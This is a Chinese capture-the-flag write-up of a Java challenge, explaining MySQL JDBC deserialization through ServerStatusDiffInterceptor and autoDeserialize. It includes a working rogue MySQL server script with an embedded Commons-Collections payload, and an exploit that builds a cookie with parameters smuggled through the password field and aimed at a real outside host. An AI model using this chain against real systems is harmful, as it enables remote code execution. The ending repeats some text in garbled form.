[羊城杯-2020]A-Piece-Of-Java
平台:NSSCTF
先把附件下载下来，审计源码,index路由是以cookie形式注册一个用户,而hello路由是通过cookie检测是否为有效用户，如果有效，则返回视图，并把相关信息info显示在页面中
因为cookie是认证的唯一凭据，所以我们可以不管index，直接在cookie中写好我们自己的cookie然后访问hello
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
hello路由里，首先判断cookie是否有值，然后用deserialize去反序列化cookie，我们先看到这里，然后去看看deserialize和serialize方法
private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
serialize方法返回的是经过base64编码后的序列化流数据,deserialize方法对应的就是先解码base64然后反序列化，不过在
serialkiller.conf中限定了反序列化的类
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
CC5和CC7链可行
接着往下看
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
把反序列化后的cookie赋给info，这里info是一个接口，可以选择两种实现类,UserInfo没有什么可利用的,DatabseInfo中有一个connect方法，该方法中可以触发JDBC连接远程Mysql
题目先看到这，接下来讲讲用这道题引出的本文章核心内容-------JDBC反序列化漏洞的利用
题目中用的mysql-connector-java 8.0.19版,但我们先从很多类似文章都用到的8.0.13版本来分析(其实是作者在写文章的时候还不确定19和13版本是不是一样的，但现在确定在本文讲解的JDBC反序列化漏洞方面执行过程是一样的)
idea中新开一个maven project,在pom中加入下面这两个包，记得加完刷新一下Maven
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
</dependencies>
先来说说JDBC和mysql之间是如何建立连接的
this.connection = DriverManager.getConnection(url);
-
在与MySQL数据库建立连接时，会交换一系列数据包。以下是主要的数据包交换过程：
a. 客户端发送一个连接请求数据包，其中包含客户端的版本、线程ID、认证插件等信息。
b. 服务器响应一个连接响应数据包，其中包含服务器的版本、线程ID、认证插件等信息。
c. 客户端发送一个认证响应数据包，包含用户名、密码（加密后）和数据库名称。
d. 服务器验证用户凭据，如果验证通过，则发送一个OK数据包，表明连接已建立；否则发送一个ERR数据包，表示认证失败。
-
自动执行的查询：在建立连接之后，JDBC驱动会自动执行一些查询，如**
SHOW SESSION STATUS和SHOW COLLATION**。这些查询用于获取服务器的状态信息和字符集信息，以便在后续操作中使用。(漏洞关键点) -
使用连接：现在可以使用Connection对象执行查询、更新等操作了。
现在来说说JDBC反序列化的漏洞:
当JDBC连接到数据库时，驱动会自动执行
SHOW SESSION STATUS和SHOW COLLATION查询，并对查询结果进行反序列化处理,如果我们可以控制jdbc客户端的url连接，去连接我们自己的一个恶意mysql服务(这个恶意服务只需要能回复jdbc发来的数据包即可)，当jdbc驱动自动执行一些查询(如show session status或show collation)这个服务会给jdbc发送序列化后的payload，然后jdbc本地进行反序列化处理后触发RCE
JDBC_URL:
String jdbc_url = "jdbc:mysql://localhost:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
之所以要控制url连接，一个是要连接恶意mysql，还有一个就是要加入两个参数
autoDeserialize=true
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
ServerStatusDiffInterceptor拦截器的主要作用是在每个查询之前和之后记录服务器状态信息，以便计算状态差异。为了实现这个功能，拦截器会在查询执行前后分别执行SHOW SESSION STATUS查询。这使得攻击者可以利用这个拦截器将恶意代码注入到服务器状态查询的结果中，从而触发反序列化漏洞。
同时，攻击者还需要在URL中添加
autoDeserialize=true参数，以告知JDBC驱动在处理查询结果时自动进行反序列化。这样，当驱动处理包含恶意Java对象的查询结果时，恶意代码就会被执行。
现在我们了解了总体思路，接下来一步步分析
因为是ServerStatusDiffInterceptor拦截器执行的查询，所以从ServerStatusDiffInterceptor.class作为入口点分析
重点查看两个方法preProcess和postProcess
首先是preProcess
preProcess方法在查询执行之前被调用。在这个方法中，拦截器首先调用populateMapWithSessionStatusValues方法，获取当前会话状态，并将结果存储在preExecuteValues中
public <T extends Resultset> T postProcess(Supplier<String> sql, Query interceptedQuery, T originalResultSet, ServerSession serverSession) {
this.populateMapWithSessionStatusValues(this.postExecuteValues);//跟进
this.log.logInfo("Server status change for query:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
return null;
}
跟进populateMapWithSessionStatusValues方法
可以看出在jdbc查询之前，拦截器执行了**“SHOW SESSION STATUS”**方法,
之后把查询结果存储在了
ResultSetUtil.resultSetToMap(toPopulate, rs);//跟进
在mappedValues.put方法中，先对参数rs调用getObject,继续跟进
发现是ResultSet接口，在idea中可以点击左侧来查看其实现类的实现方法,(代码审计小trick)
我们跟进jdbc包中的ResultSetImpl,找到getObject方法，发现有反序列化操作
最终触发反序列化RCE
在拦截器的第二个方法，也就是在查询后执行的postProccess也会反序列化一次，所以总共触发两次反序列化RCE
漏洞复现
本地搭建一个jdbc客户端和恶意mysql
//JDBC客户端
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://localhost:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");
}
}
别的师傅写的mysql恶意服务
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > payload
file= r'payload'//
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
#获取payload
payload_content=get_payload_content()
#计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
#计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
先开启恶意服务，然后用jdbc发起连接，弹出计算器
回到题目
我们已经知道如何利用JDBC打反序列化了，把思路放在如何触发DatabaseInfo的connect上
在checkAllInfo()方法中可以触发connect(),那如何触发checkAllInfo()?
我们把目光放在InfoInvocationHandler中，这是一个动态代理的实现类，熟悉动态代理的师傅们都知道，被代理的实例对象在执行任何方法时都会触发invoke方法
public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
invoke方法中触发了checkAllInfo，而刚好在hello路由中会执行getAllInfo,所以我们需要创建一个DatabaseInfo的实例对象并用InfoInvocationHandler对其代理,并且要在password字段中拼接参数来达到控制jdbcURL的效果
最终exp:
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("1.117.247.14");
databaseInfo.setPort("3309");
databaseInfo.setUsername("lanb0");
databaseInfo.setPassword("lanb0&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");
InfoInvocationHandler handler = new InfoInvocationHandler(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));
}
}
//看到其他师傅用的反射，但我感觉没必要并且验证了不需要通过反射来创建和修改这些类对象，因为这些类对象都继承了Serializable并且所有方法均为公共类
这里注意有个坑点：
三个model一定要和靶机环境的包路径一样，也就是说DatabaseInfo的包路径必须是package gdufs.challenge.web.model，否则序列化后的字节码不一样！！！(这里坑了作者好长时间)
在我们的vps上开启恶意mysql服务并在同目录下建立payload文件以便读取命令，这里因为试了很久弹不出shell(可能是环境或者vps问题)，为了证明漏洞利用成功我把命令执行改为了带通过带有name=lanb0的参数GET请求apache服务
然后在本地把生成的payload写入cookie访问hello路由即可
最终在/var/log/access.log中可以找到这条访问记录，RCE成功
最终总结:
JDBC的反序列化利用链:
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor->preProcess()->populateMapWithSessionStatusValues()->ResultSetUtil.resultSetToMap->ResultSetImpl.getObject->objIn.readObject()
利用条件:
1.能够控制JDBC的url
2.能够控制JDBC的url中的参数
3.关于jdbc和mysql之间的通信流量和如何构建恶意mysql我会找个时间写一篇专门来讲
4.最后提个问题:
serialkiller.conf中只允许java.lang和gdufs下的包反序列化，但是所有的CC链都使用了 org.apache.commons.collections包中的类，那最后是怎么绕过白名单进行反序列化的？
参考文章:
teMapWithSessionStatusValues()->ResultSetUtil.resultSetToMap->ResultSetImpl.getObject->objIn.readObject()
利用条件:
1.能够控制JDBC的url
2.能够控制JDBC的url中的参数
## 结语:
**关于jdbc和mysql之间的通信流量和如何构建恶意mysql我会找个时间写一篇专门来讲**
**.最后提个问题:**
**serialkiller.conf中只允许java.lang和gdufs下的包反序列化，但是所有的CC链都使用了 org.apache.commons.collections包中的类，那最后是怎么绕过白名单进行反序列化的？**
参考文章:
[1]: https://baijiahao.baidu.com/s?id=1756611344511627417&wfr=spider&for=pc "MySQL-JDBC反序列化分析"
573
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
